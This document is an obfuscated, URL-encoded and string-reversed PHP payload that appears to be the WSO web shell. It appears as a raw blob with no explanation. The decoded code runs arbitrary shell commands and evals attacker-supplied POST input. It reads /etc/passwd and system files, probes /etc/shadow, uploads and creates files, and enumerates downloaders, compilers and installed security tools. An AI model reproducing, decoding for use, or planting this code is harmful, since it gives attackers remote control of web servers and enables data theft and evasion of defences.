2Cllun%2C%27%5CphP%27%5C%28a%7B%29dekcehc.xaja.siht%28fi%22%3Dtimbusno+tsop%3Ddohtem+fp%3Deman+mrof%3C%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Cedoc-PHP+noitucexE%3E1h%3C%27+ohce++++%0D%0A%7D%09%0D%0A%3B%27%3Erb%3C%3Evid%2F%3C%27.+%29pmt%24+%2C%272h%3C%27%2C%271h%3C%27%28ecalper_rts+ohce%09%09%0D%0A%3B%29pmt%24+%2C%29++++++++%0D%0A%27%27++++++++++++%0D%0A%2C%27%7D1%24%7B+ht+h.+%2Ch.+%2Cv.+%2Ce.%27++++++++++++%0D%0A%2C%27%27++++++++++++%0D%0A%28+yarra+%2C%29++++++++%0D%0A%2C%27Uism%21%3E%2B%5D%3E%5E%5Bgmi%3C%21%27++++++++++++%0D%0A%2C%27Uism%21%7D%29%2A.%28%7B+ht+%2Cdt%21%27++++++++++++%0D%0A%2C%27Uism%21%7D%2A.%7B+%292h+%2C1h+%2Cht+%2Cdt+%2Cydob%7C%2Bw%5C%3Aa%7Cydob%28%21%27++++++++++++%0D%0A%28+yarra%28ecalper_gerp+%3D+pmt%24++++++++%0D%0A%3B%29%28naelc_teg_bo+%3D+pmt%24%09%09%0D%0A%3B%29%28ofniphp%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%3B%27%3Eelyts%2F%3C%7D%3B000%23%3Aroloc%7B+p.%3Eelyts%3C%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Cofni+PHP%3E1h%3C%27+ohce%09%09%0D%0A%7B+%29%29%27ofni%27+%3D%3D+%5D%272p%27%5BTSOP_%24%28+%26%26+%29%5D%272p%27%5BTSOP_%24%28tessi%28fi%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%0D%0A%3B%290+%2C%27xaja%27+.+%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW++++++++%0D%0A%29%29%5D%271p%27%5BTSOP_%24%28ytpme%21+%26%26+%29%5D%27xaja%27%5BTSOP_%24%28ytpme%28fi++++%0D%0A%7D%09%0D%0A%3Btixe%09%09%0D%0A%3Bpmet%24+%2C%22n%5C%22+%2C%29pmet%24%28nelrts+ohce%09%09%0D%0A%3B%22n%5C%3B%27%22+.+%29%220%5C%27%5C%5Ct%5Cr%5Cn%5C%22+%2C%29%29%28naelc_teg_bo%28srahclaicepslmth%28sehsalscdda+.+%22%27%3DLMTHrenni.%29%27tuptuOphP%27%28dIyBtnemelEteg.tnemucod%3B%27%27%3Dyalpsid.elyts.%29%27tuptuOphP%27%28dIyBtnemelEteg.tnemucod%22+%3D+pmet%24%09%09%0D%0A%3B%29%5D%271p%27%5BTSOP_%24%28lave%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%3B%29eurt+%2C%27xaja%27+.+%29%5D%27TSOH_PTTH%27%5BREVRES_%24%285dm%28eikooctesOSW++++++++%0D%0A%7B+%29%29%5D%27xaja%27%5BTSOP_%24%28tessi%28fi%09%0D%0A%7B+%29%28phPnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%29%28retooFosw%09%0D%0A%3B%27%3Evid%2F%3C%27+ohce%09%0D%0A%7D%09%0D%0A%3B%29%29%27resu+ten%27%28xEosw%2C%27stnuoccA+resU%27%28maraPceSosw%09%09%0D%0A%3B%29%29%27stnuocca+ten%27%28xEosw%2C%27sgnitteS+tnuoccA%27%28maraPceSosw%09%09%0D%0A%3B%29%29%27rev%27%28xEosw%2C%27noisreV+SO%27%28maraPceSosw%09%09%0D%0A%7B+esle+%7D%09%0D%0A%7D++++++++++++%0D%0A%7D++++++++++++++++%0D%0A%3B%29pmet%24+%2C%27sresU%27%28maraPceSosw++++++++++++++++++++%0D%0A%3B%27%3E%2Frb%3C%27+ohce++++++++++++++++++++%0D%0A%7D++++++++++++++++++++%0D%0A%3B%22n%5C%22.%29diu%24%2C%27%3A%27%28nioj+%3D.+pmet%24++++++++++++++++++++++++++++%0D%0A%29diu%24%28+fi++++++++++++++++++++++++%0D%0A%3B%29%5D%272p%27%5BTSOP_%24%28diuwpteg_xisop%40+%3D+diu%24++++++++++++++++++++++++%0D%0A%7B+%29%2B%2B%5D%272p%27%5BTSOP_%24%3B%5D%273p%27%5BTSOP_%24+%3D%3C+%5D%272p%27%5BTSOP_%24%3B%28rof++++++++++++++++++++%0D%0A%3B%22%22+%3D+pmet%24++++++++++++++++++++%0D%0A%7B+%29%29%5D%273p%27%5BTSOP_%24%28ciremun_si+%26%26+%29%5D%272p%27%5BTSOP_%24%28ciremun_si+%26%26+%29%5D%273p%27%5BTSOP_%24+%2C%5D%272p%27%5BTSOP_%24%28+tessi%28+fi++++++++++++++++%0D%0A%3B%27%3Emrof%2F%3C%3E%22%3E%3E%22%3Deulav+timbus%3Depyt+tupni%3C%3Eelbat%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3E0001%3Deulav+2marap%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3CoT%3Edt%3C%3Ert%3C%3Ert%2F%3C%3Edt%2F%3C%3E0%3Deulav+1marap%3Deman+txet%3Depyt+tupni%3C%3Edt%3C%3Edt%2F%3CmorF%3Edt%3C%3Ert%3C%3E%27%5C%3Beslaf+nruter%3B%29eulav.2marap.siht%2Ceulav.1marap.siht%2C%225%22%2Cllun%2Cllun%28g%27%5C%3Dtimbusno+mrof%3C%3Eelbat%3C%3Enaps%2F%3C%29dwssap%2Fcte%2F+%22daeR%22%28+diuwpteg_xisop%3Enaps%3C%3E%2Frb%3C%27+ohce++++++++++++++++%0D%0A%3B%29%29%27stsoh%2Fcte%2F%27%28stnetnoc_teg_elif%40+%2C%27stsoH%27%28maraPceSosw++++++++++++++++%0D%0A%3B%29%29%27h-+fd%27%28xEosw+%2C%27ecaps+DDH%27%28maraPceSosw++++++++++++++++%0D%0A%3B%27%3E%2Frb%3C%27+ohce++++++++++++++++%0D%0A%3B%29%29pmet%24%2C%27+%2C%27%28edolpmi+%2C%27sredaolnwoD%27%28maraPceSosw++++++++++++++++%0D%0A%3Bmeti%24+%3D+%5D%5Bpmet%24++++++++++++++++++++++++%0D%0A%29%29meti%24%28hcihWosw%28fi++++++++++++++++++++%0D%0A%29meti%24+sa+sredaolnwod%24%28+hcaerof++++++++++++++++%0D%0A%3B%29%28yarra%3Dpmet%24++++++++++++++++%0D%0A%3B%29%29pmet%24%2C%27+%2C%27%28edolpmi+%2C%27regnaD%27%28maraPceSosw++++++++++++++++%0D%0A%3Bmeti%24+%3D+%5D%5Bpmet%24++++++++++++++++++++++++%0D%0A%29%29meti%24%28hcihWosw%28fi++++++++++++++++++++%0D%0A%29meti%24+sa+regnad%24%28+hcaerof++++++++++++++++%0D%0A%3B%29%28yarra%3Dpmet%24++++++++++++++++%0D%0A%3B%29%29pmet%24%2C%27+%2C%27%28edolpmi+%2C%27lufresU%27%28maraPceSosw++++++++++++++++%0D%0A%3Bmeti%24+%3D+%5D%5Bpmet%24++++++++++++++++++++++++%0D%0A%29%29meti%24%28hcihWosw%28fi++++++++++++++++++++%0D%0A%29meti%24+sa+lufresu%24%28+hcaerof++++++++++++++++%0D%0A%3B%29%28yarra%3Dpmet%24++++++++++++++++%0D%0A%3B%27%3Erb%3C%27+ohce++++++++++++++++%0D%0A%3B%29%27rorrim-pwl%27%2C%27teg%27%2C%27lruc%27%2C%27sknil%27%2C%27xnyl%27%2C%27hctef%27%2C%27tegw%27%28yarra+%3D+sredaolnwod%24++++++++++++++++%0D%0A%3B%29%27ajnin%27%2C%27nacsmrow%27%2C%27llimwas%27%2C%27pacsbmz%27%2C%27ksamsys%27%2C%27hctawgol%27%2C%27kcehcgol%27%2C%27dixs%27%2C%27gdolpct%27%2C%27mdasdil%27%2C%27cesso%27%2C%27trons%27%2C%27yrtnestrop%27%2C%27ccdleihs%27%2C%27eriwpirt%27%2C%27wfpi%27%2C%27selbatpi%27%2C%27tiktoorkhc%27%2C%27retnuhkr%27%2C%27dmalc%27%2C%27dbewrd%27%2C%27vas%27%2C%27nacsvu%27%2C%27derocdb%27%2C%2723don%27%2C%27vak%27%28yarra+%3D+regnad%24++++++++++++++++%0D%0A%3B%29%27lrepdius%27%2C%27etacol%27%2C%27cn%27%2C%272pizb%27%2C%27pizb%27%2C%27pizg%27%2C%27rat%27%2C%27ybur%27%2C%27nohtyp%27%2C%27lrep%27%2C%27php%27%2C%27ekam%27%2C%27dl%27%2C%27cc%27%2C%27ccl%27%2C%27ccg%27%28yarra+%3D+lufresu%24++++++++++++++++%0D%0A%7B+%29%5D%27edom_efas%27%5BSLABOLG%24%21%28fi++++++++++++%0D%0A%3B%29%29%27ten.eussi%2Fcte%2F%27%28stnetnoc_teg_elif%40+%2C%27eman+rtsiD%27%28maraPceSosw++++++++++++%0D%0A%3B%29%29%27noisrev%2Fcorp%2F%27%28stnetnoc_teg_elif%40+%2C%27noisrev+SO%27%28maraPceSosw++++++++++++%0D%0A%3B%29%27on%27%3A%22%3Ea%2F%3C%5Dweiv%5B%3E%27%29%22%5Cwodahs%22%5C+%2C%22%5C%2Fcte%2F%22%5C+%2C%22%5CslooTseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C+sey%22%3F%29%27wodahs%2Fcte%2F%27%28elbadaer_si%40+%2C%27wodahs%2Fcte%2F+elbadaeR%27%28maraPceSosw++++++++++++%0D%0A%3B%29%27on%27%3A%22%3Ea%2F%3C%5Dweiv%5B%3E%27%29%22%5Cdwssap%22%5C+%2C%22%5C%2Fcte%2F%22%5C+%2C%22%5CslooTseliF%22%5C%28g%27%3Dkcilcno+%27%23%27%3Dferh+a%3C+sey%22%3F%29%27dwssap%2Fcte%2F%27%28elbadaer_si%40+%2C%27dwssap%2Fcte%2F+elbadaeR%27%28maraPceSosw++++++++++++%0D%0A%7B+%29%27xin%27+%3D%3D+%5D%27so%27%5BSLABOLG%24%28fi%09%0D%0A%0D%0A%3B%27%3Erb%3C%27+ohce%09%0D%0A%3B%29%29pmet%24+%2C%27+%2C%27%28edolpmi+%2C%27sesabatad+detroppuS%27%28maraPceSosw%09%0D%0A%3B%22elcarO%22+%3D+%5D%5Bpmet%24%09%09%0D%0A%29%29%27tcennoc_ico%27%28stsixe_noitcnuf%28fi%09%0D%0A%3B%22LQSergtsoP%22+%3D+%5D%5Bpmet%24%09%09%0D%0A%29%29%27tcennoc_gp%27%28stsixe_noitcnuf%28fi%09%0D%0A%3B%22LQSSM%22+%3D+%5D%5Bpmet%24%09%09%0D%0A%29%29%27tcennoc_lqssm%27%28stsixe_noitcnuf%28fi%09%0D%0A%3B%22%29%22.%29%28ofni_tneilc_teg_lqsym.%22%28+lqSyM%22+%3D+%5D%5Bpmet%24%09%09%0D%0A%29%29%27ofni_tneilc_teg_lqsym%27%28stsixe_noitcnuf%28fi%09%0D%0A%3B%29%28yarra%3Dpmet%24%09%0D%0A%3B%29%27on%27%3A%27delbane%27%3F%29%27noisrev_lruc%27%28stsixe_noitcnuf+%2C%27troppus+LRUc%27%28maraPceSosw%09%0D%0A%3B%29%29%27rid_edulcni_edom_efas%27%28teg_ini%40+%2C%27rid+edulcni+edom+efaS%27%28maraPceSosw%09%0D%0A%3B%29%29%27rid_cexe_edom_efas%27%28teg_ini%40+%2C%27rid+cexe+edom+efaS%27%28maraPceSosw%09%0D%0A%3B%29%29%27ridesab_nepo%27%28teg_ini%40+%2C%27rid+esab+nepO%27%28maraPceSosw%09%0D%0A%3B%29%27enon%27%3A%5D%27snoitcnuf_elbasid%27%5BSLABOLG%24%3F%5D%27snoitcnuf_elbasid%27%5BSLABOLG%24+%2C%27snoitcnuF+PHP+delbasiD%27%28maraPceSosw%09%0D%0A%3B%29%29%29%28seludom_teg_ehcapa+%2C%27+%2C%27%28edolpmi+%2C%27seludom+ehcapA+dedaoL%27%28maraPceSosw++++++++%0D%0A%29%29%27seludom_teg_ehcapa%27%28stsixe_noitcnuf%28fi++++%0D%0A%3B%29%29%27ERAWTFOS_REVRES%27%28vneteg%40+%2C%27erawtfos+revreS%27%28maraPceSosw%09%0D%0A%0D%0A%7D%09%0D%0A%7D%09%09%0D%0A%3B%27%3Eerp%2F%3C%27+.+v%24+.+%27%3E1lm%3Dssalc+erp%3C%27+ohce%09%09%09%09%0D%0Aesle%09%09%09%0D%0A%3B%27%3Erb%3C%27+.+v%24+ohce%09%09%09%09%0D%0A%29eslaf+%3D%3D%3D+%29%22n%5C%22+%2Cv%24%28soprts%28fi%09%09%09%0D%0A%3B%27%3Enaps%2F%3C+%3A%27+.+n%24+.+%27%3Enaps%3C%27+ohce%09%09%09%0D%0A%7B+%29v%24%28fi%09%09%0D%0A%3B%29v%24%28mirt+%3D+v%24%09%09%0D%0A%7B+%29v%24+%2Cn%24%28maraPceSosw+noitcnuf%09%0D%0A%3B%27%3Etnetnoc%3Dssalc+vid%3C%3E1h%2F%3Cnoitamrofni+ytiruces+revreS%3E1h%3C%27+ohce%09%0D%0A%3B%29%28redaeHosw%09%0D%0A%7B+%29%28ofnIceSnoitca+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3Beslaf+nruter%09%0D%0A%3Bhtap%24+nruter%09%09%0D%0A%29%29htap%24%28ytpme%21%28fi%09%0D%0A%3B%29p%24+.+%27+hcihw%27%28xEosw+%3D+htap%24%09%0D%0A%7B+%29p%24%28hcihWosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%7D++++%0D%0A%3Bselif%24+nruter++++++++%0D%0A%3Bemanelif%24+%3D+%5D%5Bselif%24++++++++++++%0D%0A%29%29%29hd%24%28riddaer+%3D+emanelif%24%28+%3D%3D%21+eslaf%28+elihw++++++++%0D%0A%3B%29rid%24%28ridnepo+%3D++hd%24++++++++%0D%0A%7B+esle+%7D++++%0D%0A%3B%29rid%24%28ridnacs+nruter++++++++%0D%0A%7B+%29%29%22ridnacs%22%28stsixe_noitcnuf%28fi++++%0D%0A%7B+%29rid%24%28ridnacSosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%27%3Etnof%2F%3C%27+.+%29%29f%24%28smrepelif%40%28smrePosw+.+%27%3E00ff52%23%3Droloc+tnof%3C%27+nruter%09%09%0D%0Aesle%09%0D%0A%3B%27%3Etnof%2F%3C%27+.+%29%29f%24%28smrepelif%40%28smrePosw+.+%27%3Eetihw%3Droloc+tnof%3C%27+nruter%09%09%0D%0A%29%29f%24%28elbatirw_si%40%21%28+fiesle%09%0D%0A%3B%27%3Etnof%2F%3C%27+.+%29%29f%24%28smrepelif%40%28smrePosw+.+%27%3E0000FF%23%3Droloc+tnof%3C%27+nruter%09%09%0D%0A%29%29f%24%28elbadaer_si%40%21%28+fi%09%0D%0A%7B+%29f%24%28roloCsmrePosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3Bi%24+nruter%09%0D%0A%3B%29%29%27-%27+%3A+%27T%27+%3F+%290020x0+%26+p%24%28%28+%3A+%29+%27x%27+%3A+%27t%27+%3F+%290020x0+%26+p%24%28%28+%3F+%291000x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%27-%27+%3A+%27w%27+%3F+%292000x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%27-%27+%3A+%27r%27+%3F+%294000x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%29%27-%27+%3A+%27S%27+%3F+%290040x0+%26+p%24%28%28+%3A+%29+%27x%27+%3A+%27s%27+%3F+%290040x0+%26+p%24%28%28+%3F+%298000x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%27-%27+%3A+%27w%27+%3F+%290100x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%27-%27+%3A+%27r%27+%3F+%290200x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%29%27-%27+%3A+%27S%27+%3F+%290080x0+%26+p%24%28%28+%3A+%29+%27x%27+%3A+%27s%27+%3F+%290080x0+%26+p%24%28%28+%3F+%290400x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%27-%27+%3A+%27w%27+%3F+%290800x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%29%27-%27+%3A+%27r%27+%3F+%290010x0+%26+p%24%28%28+%3D.+i%24%09%0D%0A%3B%27u%27+%3D+i%24+esle%09%0D%0A%3B%27p%27+%3D+i%24%290001x0+%3D%3D+%290001x0+%26+p%24%28%28+fiesle%09%0D%0A%3B%27c%27+%3D+i%24%290002x0+%3D%3D+%290002x0+%26+p%24%28%28+fiesle%09%0D%0A%3B%27d%27+%3D+i%24%290004x0+%3D%3D+%290004x0+%26+p%24%28%28+fiesle%09%0D%0A%3B%27b%27+%3D+i%24%290006x0+%3D%3D+%290006x0+%26+p%24%28%28+fiesle%09%0D%0A%3B%27-%27+%3D+i%24%290008x0+%3D%3D+%290008x0+%26+p%24%28%28+fiesle%09%0D%0A%3B%27l%27+%3D+i%24%29000Ax0+%3D%3D+%29000Ax0+%26+p%24%28%28+fiesle%09%0D%0A%3B%27s%27+%3D+i%24%29000Cx0+%3D%3D+%29000Cx0+%26+p%24%28%28+fi%09%0D%0A%7B+%29p%24%28smrePosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%27B+%27+.+s%24+nruter%09%09%0D%0Aesle%09%0D%0A%3B%27BK+%27+.+%29+4201+%2F+s%24+%2C%27f2.1%25%27%28ftnirps+nruter%09%09%0D%0A%294201+%3D%3E+s%24%28fiesle%09%0D%0A%3B%27BM+%27+.+%29+6758401+%2F+s%24+%2C%27f2.1%25%27%28ftnirps+nruter%09%09%0D%0A%296758401+%3D%3E+s%24%28fiesle%09%0D%0A%3B%27BG+%27+.%29+4281473701+%2F+s%24+%2C%27f2.1%25%27%28ftnirps+nruter%09%09%0D%0A%294281473701+%3D%3E+s%24%28fi%09%0D%0A++++%0D%0A%3B%29s%24+%2C%22u%25%22%28ftnirps+%3D+s%24++++++++%0D%0A%29%29s%24%28tni_si%28+fi++++%0D%0A%7B+%29s%24%28eziSweiVosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3Btuo%24+nruter%09%0D%0A%7D%09%0D%0A%3B%29f%24%28esolcp%09%09%0D%0A%3B%294201%2Cf%24%28daerf+%3D.+tuo%24%09%09%09%0D%0A%29%29f%24%28foef%40%21%28elihw%09%09%0D%0A%3B%22%22+%3D+tuo%24%09%09%0D%0A%7B+%29%29%29%22r%22%2Cni%24%28nepop%40+%3D+f%24%28ecruoser_si%28+fiesle+%7D%09%0D%0A%3B%29ni%24%28cexe_llehs+%3D+tuo%24%09%09%0D%0A%7B+%29%29%27cexe_llehs%27%28stsixe_noitcnuf%28+fiesle+%7D%09%0D%0A%3B%29%28naelc_teg_bo+%3D+tuo%24%09%09%0D%0A%3B%29ni%24%28metsys%40%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%7B+%29%29%27metsys%27%28stsixe_noitcnuf%28+fiesle+%7D%09%0D%0A%3B%29%28naelc_teg_bo+%3D+tuo%24%09%09%0D%0A%3B%29ni%24%28urhtssap%40%09%09%0D%0A%3B%29%28trats_bo%09%09%0D%0A%7B+%29%29%27urhtssap%27%28stsixe_noitcnuf%28+fiesle+%7D%09%0D%0A%3B%29tuo%24%2C%22n%5C%22%28nioj%40+%3D+tuo%24%09%09%0D%0A%3B%29tuo%24%2Cni%24%28cexe%40%09%09%0D%0A%7B+%29%29%27cexe%27%28stsixe_noitcnuf%28+fi%09%0D%0A%3B%27%27+%3D+tuo%24%09%0D%0A%7B+%29ni%24%28xEosw+noitcnuf%0D%0A%0D%0A%7D+%7D%3Beslaf+nruter%7B+%29p%24%28digrgteg_xisop+noitcnuf++++%0D%0A%7B+%29%29eslaf%3D%3D%3D%29%27digrgteg_xisop%27+%2C%5D%27snoitcnuf_elbasid%27%5BSLABOLG%24%28soprts%28+%26%26+%29%22digrgteg_xisop%22%28stsixe_noitcnuf%21%28+fi%0D%0A%7D+%7D%3Beslaf+nruter%7B+%29p%24%28diuwpteg_xisop+noitcnuf++++%0D%0A%7B+%29%29eslaf%3D%3D%3D%29%27diuwpteg_xisop%27+%2C%5D%27snoitcnuf_elbasid%27%5BSLABOLG%24%28soprts%28+%26%26+%29%22diuwpteg_xisop%22%28stsixe_noitcnuf%21%28+fi%0D%0A%0D%0A%7D%0D%0A%3B%22%3Elmth%2F%3C%3Eydob%2F%3C%3Evid%2F%3C%3Eelbat%2F%3C%3Ert%2F%3C%09%0D%0A%3Edt%2F%3C%3E++rb%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Ef%3Deman+elif%3Depyt+%27pnIsloot%27%3Dssalc+tupni%3C%3Erb%3Celbatirw_si%24%3Enaps%2F%3C%3Aelif+daolpU%3Enaps%3C%09%09%0D%0A%3E%27%22+.+%29%27%27%3A%5D%27tesrahc%27%5BTSOP_%24%3F%29%5D%27tesrahc%27%5BTSOP_%24%28tessi%28+.+%22%27%3Deulav+tesrahc%3Deman+neddih%3Depyt+tupni%3C%09%09%0D%0A%3E%27eliFdaolpu%27%3Deulav+1p%3Deman+neddih%3Depyt+tupni%3C%09%09%0D%0A%3E%27%22.+%5D%27dwc%27%5BSLABOLG%24+.+%22%27%3Deulav+c%3Deman+neddih%3Depyt+tupni%3C%09%09%0D%0A%3E%27nAMseliF%27%3Deulav+a%3Deman+neddih%3Depyt+tupni%3C%09%09%0D%0A%3E%27atad-mrof%2Ftrapitlum%27%3DEPYTCNE+%27tsop%27%3Ddohtem+mrof%3C%3Edt%3C%09%09%0D%0A%3Edt%2F%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3E%27%27%3Deulav+c%3Deman+txet%3Depyt+%27pnIsloot%27%3Dssalc+tupni%3C%3Erb%3C%3Enaps%2F%3C%3AetucexE%3Enaps%3C%3E%22%5C%3Beslaf+nruter%3B%29eulav.c.siht%2Cllun%2C%27elosnoC%27%28g%22%5C%3Dtimbusno+mrof%3C%3Edt%3C%09%09%0D%0A%3Ert%3C%3Ert%2F%3C%09%0D%0A%3Edt%2F%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Ef%3Deman+txet%3Depyt+%27pnIsloot%27%3Dssalc+tupni%3C%3Erb%3Celbatirw_si%24%3Enaps%2F%3C%3Aelif+ekaM%3Enaps%3C%3E%22%5C%3Beslaf+nruter%3B%29%27elifkm%27%2Ceulav.f.siht%2Cllun%2C%27slooTseliF%27%28g%22%5C%3Dtimbusno+mrof%3C%3Edt%3C%09%09%0D%0A%3Edt%2F%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Ed%3Deman+txet%3Depyt+%27pnIsloot%27%3Dssalc+tupni%3C%3Erb%3Celbatirw_si%24%3Enaps%2F%3C%3Arid+ekaM%3Enaps%3C%3E%22%5C%3Beslaf+nruter%3B%29eulav.d.siht%2C%27ridkm%27%2Cllun%2C%27naMseliF%27%28g%22%5C%3Dtimbusno+mrof%3C%3Edt%3C%09%09%0D%0A%3Ert%3C%3Ert%2F%3C%09%0D%0A%3Edt%2F%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3Ef%3Deman+txet%3Depyt+%27pnIsloot%27%3Dssalc+tupni%3C%3Erb%3C%3Enaps%2F%3C%3Aelif+daeR%3Enaps%3C%3E%22%5C%3Beslaf+nruter%3B%29eulav.f.siht%2Cllun%2C%27slooTseliF%27%28g%22%5C%3Dtimbusno+mrof%3C%3Edt%3C%09%09%0D%0A%3Edt%2F%3C%3Emrof%2F%3C%3E%27%3E%3E%27%3Deulav+timbus%3Depyt+tupni%3C%3E%27%22.+%29%5D%27dwc%27%5BSLABOLG%24%28srahclaicepslmth+.+%22%27%3Deulav+c%3Deman+txet%3Depyt+%27pnIsloot%27%3Dssalc+tupni%3C%3Erb%3C%3Enaps%2F%3C%3Arid+egnahC%3Enaps%3C%3E%27%3Beslaf+nruter%3B%29%22%5C%22%5C%2Ceulav.c.siht%2Cllun%28g%27%3Dtimbusno+mrof%3C%3Edt%3C%09%09%0D%0A%3Ert%3C%09%0D%0A%3E%27%3B333%23+dilos+xp2%3Amottob-redrob%3B333%23+dilos+xp2%3Apot-redrob%27%3Delyts++%25001%3Dhtdiw+0%3Dgnicapsllec+3%3Dgniddapllec+lbTsloot%3Ddi+ofni%3Dssalc+elbat%3C%0D%0A%3Evid%2F%3C%0D%0A%22+ohce++++%0D%0A%3B%22%3Etnof%2F%3C%29elbatirw+toN%28%3Eder%3Droloc+tnof%3C+%22%3A%22%3Etnof%2F%3C%29elbaetirW%28%3E%27neerg%27%3Droloc+tnof%3C+%22%3F%29%5D%27dwc%27%5BSLABOLG%24%28elbatirw_si+%3D+elbatirw_si%24%09%0D%0A%7B+%29%28retooFosw+noitcnuf%0D%0A%0D%0A%7D%0D%0A%3B%27%3E%225%3Anigram%22%3Delyts+vid%3C%3Eelbat%2F%3C%3Ert%2F%3C%27+.+unem%24+.+%27%3Ert%3C%3E%25001%3Dhtdiw+0%3Dgnicapsllec+3%3Dgniddapllec+%22%3B333%23+dilos+xp2%3Apot-redrob%22%3Delyts+elbat%3C%27+.+++++++%0D%0A%27%3Eelbat%2F%3C%3Ert%2F%3C%3Edt%2F%3C%3Erbon%2F%3C%27+.+%5D%27RDDA_ETOMER%27%5BREVRES_%24+.+%27%3Erb%3C%3Enaps%2F%3C%3API+tneilC%3Enaps%3C%3Erb%3C%27+.+%5D%22RDDA_REVRES%22%5BREVRES_%24%40+.+%27%3Erb%3C%3Enaps%2F%3C%3API+revreS%3Enaps%3C%3Erb%3C%3Etceles%2F%3C%3Epuorgtpo%2F%3C%27+.+stesrahc_tpo%24+.+%27%3E%22tesrahc+egaP%22%3Dlebal+puorgtpo%3C%3E%22%29eulav.siht%2Cllun%2Cllun%2Cllun%2Cllun%2Cllun%28g%22%3Degnahcno+tceles%3C%3Erbon%3C%3Ethgir%3Dngila+1%3Dhtdiw+dt%3C%27+.+++++++%0D%0A%27%3Edt%2F%3C%27+.+sevird%24+.+%27%3Erb%3C%3Ea%2F%3C%5D+emoh+%5B%3E%22%29%27%5C%27%5C%2C%27%5C%27%5C%2C%27%5C%27%5C%2C%27%5C%27+.+%5D%27dwc_emoh%27%5BSLABOLG%24+.+%27%27%5C%2C%27%5CnaMseliF%27%5C%28g%22%3Dkcilcno+%23%3Dferh+a%3C+%27+.+%29%5D%27dwc%27%5BSLABOLG%24%28roloCsmrePosw+.%27+%27+.+sknil_dwc%24+.+%27%3Erb%3C%29%25%27+.+%29001%2AecapSlatot%24%2FecapSeerf%24%28+%29tni%28+.%27%28+%27+.+%29ecapSeerf%24%28eziSweiVosw+.+%27+%3Enaps%2F%3C%3AeerF%3Enaps%3C+%27+.+%29ecapSlatot%24%28eziSweiVosw+.+%27%3Erb%3C%27+.+%29%27s%3Ai%3AH+d-m-Y%27%28etad+.+%27+%3Enaps%2F%3C%3AemitetaD%3Enaps%3C+%3Ea%2F%3C%5D+ofniphp+%5B%3E%22%29%27%5Cofni%27%5C%2C%27%5C%27%5C%2Cllun%2C%27%5CphP%27%5C%28g%22%3Dkcilcno+%23%3Dferh+a%3C+%27+.+++++++%0D%0A%29%27%3Etnof%2F%3C%3Eb%2F%3CFFO%3Eb%3C%3Eneerg%3Droloc+tnof%3C%27%3A%27%3Etnof%2F%3CNO%3Eder%3Droloc+tnof%3C%27%3F%5D%27edom_efas%27%5BSLABOLG%24%28+.+%27+%3Enaps%2F%3C%3Aedom+efaS%3Enaps%3C+%27+.+%29%28noisrevphp%40+.+%27%3Erb%3C%29+%27+.+puorg%24+.+%27+%28+%27+.+dig%24+.+%27+%3Enaps%2F%3C%3ApuorG%3Enaps%3C+%29+%27+.+resu%24+.+%27+%28+%27+.+diu%24+.+%27%3Erb%3C%3Erbon%2F%3C%3Ea%2F%3C%5Dmoc.bd-tiolpxe%5B%3Eknalb_%3Dtegrat+%22%27+.+knilpxe%24+.+%27%22%3Dferh+a%3C+%27+.+%29021+%2C0+%2C%29%28emanu_php%40%28rtsbus+.+%27%3Erbon%3C%3Edt%3C%27+.+++++++%0D%0A%27%3Edt%2F%3C%3Enaps%2F%3C%27+.+%29%27%27%3A%27%3AsevirD%3Erb%3C%27%3F%27niw%27+%3D%3D+%5D%27so%27%5BSLABOLG%24%28+.+%27%3AdwC%3Erb%3C%3AddH%3Erb%3C%3AphP%3Erb%3C%3AresU%3Erb%3C%3AemanU%3Enaps%3C%3E1%3Dhtdiw+dt%3C%3Ert%3C%3E%25001%3Dhtdiw+0%3Dgnicapsllec+3%3Dgniddapllec+ofni%3Dssalc+elbat%3C%27+ohce%09%0D%0A%7D%09%0D%0A%3B%27+%3Ea%2F%3C%5D+%27.evird%24.%27+%5B%3E%22%29%27%5C%2F%3A%27.evird%24.%27%27%5C%2C%27%5CnaMseliF%27%5C%28g%22%3Dkcilcno+%22%23%22%3Dferh+a%3C%27+%3D.+sevird%24%09%09%09%0D%0A%29%29%27%5C%5C%3A%27.evird%24%28rid_si%28fi%09%09%0D%0A%29evird%24+sa+%29%27z%27%2C%27c%27%28egnar%28hcaerof%09%09%0D%0A%7B+%29%27niw%27+%3D%3D+%5D%27so%27%5BSLABOLG%24%28fi%09%0D%0A%3B%22%22+%3D+sevird%24%09%0D%0A%0D%0A%3B%27%3Eht%2F%3C%5D+%3Ea%2F%3C%27.k%24.%27%3E%22%29%27%5C%27%5C%2C%27%5C%27%5C%2C%27%5C%27%5C%2Cllun%2C%27%5C%27.v%24.%27%27%5C%28g%22%3Dkcilcno+%22%23%22%3Dferh+a%3C+%5B%3E%